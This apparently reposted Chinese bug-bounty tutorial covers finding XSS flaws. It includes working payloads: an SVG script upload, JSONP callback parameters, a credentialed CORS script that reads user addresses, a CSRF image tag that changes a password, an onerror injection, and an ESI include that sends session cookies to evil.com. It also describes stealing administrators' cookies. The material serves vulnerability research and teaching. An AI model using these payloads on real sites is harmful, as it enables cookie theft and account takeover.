(SRC漏洞挖掘一)XSS漏洞挖掘上

admin 2023年7月28日10:08:23评论108 views字数 3717阅读12分23秒阅读模式
免责声明
由于传播、利用本公众号红云谈安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号红云谈安全及作者不为承担任何责任,一旦造成后果请自行承担!本文为连载文章欢迎大家关注红云谈安全公众号!

XSS漏洞挖掘

XSS漏洞最简单的理解就是将我们输入的内容解析为HTML

像下面的案例就不存在xss漏洞,因为你看img标签和p标签的颜色是不一致的

(SRC漏洞挖掘一)XSS漏洞挖掘上

当img标签和其他标签颜色一样时说明将我们输入的内容当成HTML进行解析了(SRC漏洞挖掘一)XSS漏洞挖掘上

看见输入框就直接输入XSS语句,第一开始最好就是使用img标签,经过多年的经验一般img标签拦得比较少,如果确认有XSS漏洞,有WAF的话就直接绕啦,XSS漏洞中的很多WAF都可以绕过,只要<>这个符号没有给拦那么基本上都能绕过。

文件上传点

方式一

上传一张含有xss语句的图片,更改上传类型(SRC漏洞挖掘一)XSS漏洞挖掘上

方式二

在图片后面添加HTML很有可能会实现绕过(SRC漏洞挖掘一)XSS漏洞挖掘上如果上传到的域名是在云服务器上的话,且能够上传任意文件,那建议更改漏洞名称以另外一种形式进行提交,因为我已这样的漏洞交过很多次,都是给忽略,而另外一种形式交很多都是中危或者高危!后续在文件上传漏洞在讲吧!

方式三

除了传统的JPG图片外很多服务器也支持上传svg格式的图片。上传一个xss payload的svg格式图片 payload如下:

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

寻找可控参数

在数据包的抓取过程中观察是否有可控参数,并且查看返回保定的返回Content-Type类型是不是text/html类型,如果这两个条件满足就说明极其有可能存在漏洞。

看下面案列,你看callback参数,我们输入的内容返回包中全部显现出来,说明参数可控,并且返回类型为text/html(SRC漏洞挖掘一)XSS漏洞挖掘上

(SRC漏洞挖掘一)XSS漏洞挖掘上

直接输入img标签,解析为html

(SRC漏洞挖掘一)XSS漏洞挖掘上说明存在反射xss漏洞,有WAF但几下就绕过了(后续会写一篇专门关于XSS WAF绕过的文章)

(SRC漏洞挖掘一)XSS漏洞挖掘上

下面是常见的可控参数

_callback=11
_cb=11
callback=11
cb=11
jsonp=11
jsonpcallback=11
jsonpcb=11
jsonp_cb=11
json=11
jsoncallback=11
jcb=11
call=11
callBack=11
jsonpCallback=11
jsonpCb=11
jsonp_Cb=11
jsonCallback=11
ca=11
callBackMethod=11

审计

就是要看html源码,从源码里面找出可能反射的参数,看看下面,var terms_style:

(SRC漏洞挖掘一)XSS漏洞挖掘上

就是把它变成url的参数,terms_style, terms, style, term, 你能猜出来算我输。没错, 是style~

(SRC漏洞挖掘一)XSS漏洞挖掘上

(SRC漏洞挖掘一)XSS漏洞挖掘上先轻轻地注入” 符号,很好啊,没转义,没过滤,接下来就是直接输入XSS语句不多说了,关键就是寻找可控参数。

(SRC漏洞挖掘一)XSS漏洞挖掘上

参考文章:https://mp.weixin.qq.com/s/RCebgSJLrucJ71KiZe22DQ

骚操作

这是在一个旁站挖到的XSS漏洞(旁站漏洞给的赏金比较少)

(SRC漏洞挖掘一)XSS漏洞挖掘上

(SRC漏洞挖掘一)XSS漏洞挖掘上成功弹出cookie、并且我f12查看发现bbb.xxx.com这个域名的cookie、和aaaa.xxx.com主站的cookie是一样的、只要盗取bbb.xxx.com的cookie就相当于获取主站的cookie信息(aaa这个域名是打个比方引用)如果是这样的情况在漏洞提交的时候可以说明

危害加大

在创建工单这有图片上传点,但却没有存储XSS漏洞

(SRC漏洞挖掘一)XSS漏洞挖掘上

上传一张图片并抓包(SRC漏洞挖掘一)XSS漏洞挖掘上

在上传数据包的过程中该数据包的URL引起了我的注意,如果我将URL信息替换为上面文件上传导致的存储xss的链接,是否能够实现替换

(SRC漏洞挖掘一)XSS漏洞挖掘上

成功变为包含存储XSS的图片链接(SRC漏洞挖掘一)XSS漏洞挖掘上不出所料,发送成功后打到了管理员的cookie

(SRC漏洞挖掘一)XSS漏洞挖掘上

CORS和XSS漏洞组合拳

首先挖到一个反射xss漏洞(SRC漏洞挖掘一)XSS漏洞挖掘上同时在另外一个域名下发现CORS漏洞,该接口能够获取用户身份量信息

(SRC漏洞挖掘一)XSS漏洞挖掘上

修改为任意源发现直接拒绝

(SRC漏洞挖掘一)XSS漏洞挖掘上

然后我再加上子域名就可以了、说明没有验证严谨、任何子域名都是允许源,在配合子域名的xss即可。(SRC漏洞挖掘一)XSS漏洞挖掘上直接写脚本脚本如下:

https://www.xxx.com/script/buyer/epay?callback=<script>var http = new XMLHttpRequest();
 var url = 'https://www.bbb.com/user/address/getUserAllAddress.json?_=1647180520575';
 var params = '';
 http.open('GET', url, true);
 http.setRequestHeader("Content-type","application/json;charset=UTF-8");
 http.withCredentials = true;
 http.onreadystatechange = function() {

  if(http.readyState == 4 && http.status == 200) {

   alert(http.responseText);

  }

 }

 http.send();</script>

(以后使用的时候只要将给的链接替换成存在漏洞的链接即可)组合成功

(SRC漏洞挖掘一)XSS漏洞挖掘上

CSRF和XSS漏洞组合拳

CSRF和XSS漏洞的组合拳,需要一个XSS比如在留言处、内容发布处,一个敏感操作的CSRF如密码修改处、个人信息修改处。在受害者访问存在xss漏洞的过程中,就能够直接造成CSRF漏洞来进行密码修改。看以下案列:直接访问修改密码URL 将难度调至Low级别,我们把在CSRF中修改密码后的URL复制下来

(SRC漏洞挖掘一)XSS漏洞挖掘上到XSS(Stored)中将复制到的网址粘贴到Message中,使用img标签构造语句,若文本框限制字符长度,就在页面代码中修改

(SRC漏洞挖掘一)XSS漏洞挖掘上当受害者访问该存在xss漏洞的地方处,服务器就会自动加载img标签中的链接,该链接就是CSRF链接从而造成密码修改高危操作,其实这在实战中还是经常遇到的啦。<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=444&password_conf=444&Change=Change">(SRC漏洞挖掘一)XSS漏洞挖掘上

绕过HTTPOnly Cookie

按照设计,HTTP代理(如代理和负载均衡器)可以访问完整的HTTP请求和响应。这包括浏览器或服务器发送的所有cookie。ESI规范的一个有用功能是能够访问ESI标签内传输的cookie。这允许开发人员在ESI引擎中使用cookie,通过利用cookie给予开发人员更大的灵活性。

正是这个有用的功能提供一个重要的攻击媒介:cookie外带(cookie exfiltration)通过JavaScript引擎对cookie进行窃取的一个已知策略是使用HTTPOnly。它在创建Cookie时指定,将拒绝JavaScript引擎访问cookie及其值的能力,从而防止XSS攻击窃取cookie。由于ESI是在服务器端进行处理的,因此可以在从上游服务器到代理的过程中使用这些cookie。一个攻击媒介将使用ESI include通过其URL来外带cookie。想象一下ESI引擎正在处理以下payload:

<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />这时我们在evil.com主机的HTTP访问日志中就可以看到:

127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"这样,HTTPOnly cookies可以在没有Javascript的情况下被窃取。

参考文章:https://www.anquanke.com/post/id/103641#h3-5

不一样的XSS

上传一张图片

(SRC漏洞挖掘一)XSS漏洞挖掘上点击上传一张图片、抓取上传图片数据包的返回包,也就是这个数据包的返回包

(SRC漏洞挖掘一)XSS漏洞挖掘上返回包如下:(SRC漏洞挖掘一)XSS漏洞挖掘上修改fileId参数值为:

1u0022 onerror=alert(1) u0022

成功弹窗,并且刷新页面还是可以继续弹窗,这边问了客服也会弹窗,说明不是self-xss,而是存储xss

(SRC漏洞挖掘一)XSS漏洞挖掘上

原理是我们在上传图片的时候图片本身有一个img标签,我利用这个img标签给修改成弹窗,并内嵌进去了如下:(SRC漏洞挖掘一)XSS漏洞挖掘上在几乎所有的漏洞挖掘过程中基本就是寻找可控参数来挖掘,XSS漏洞也不例外,所以平常漏洞挖掘过程中最主要的还是理解业务功能、观察数据包。



原文始发于微信公众号(红云谈安全):(SRC漏洞挖掘一)XSS漏洞挖掘上

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月28日10:08:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (SRC漏洞挖掘一)XSS漏洞挖掘上https://cn-sec.com/archives/1912607.html

发表评论

匿名网友 填写信息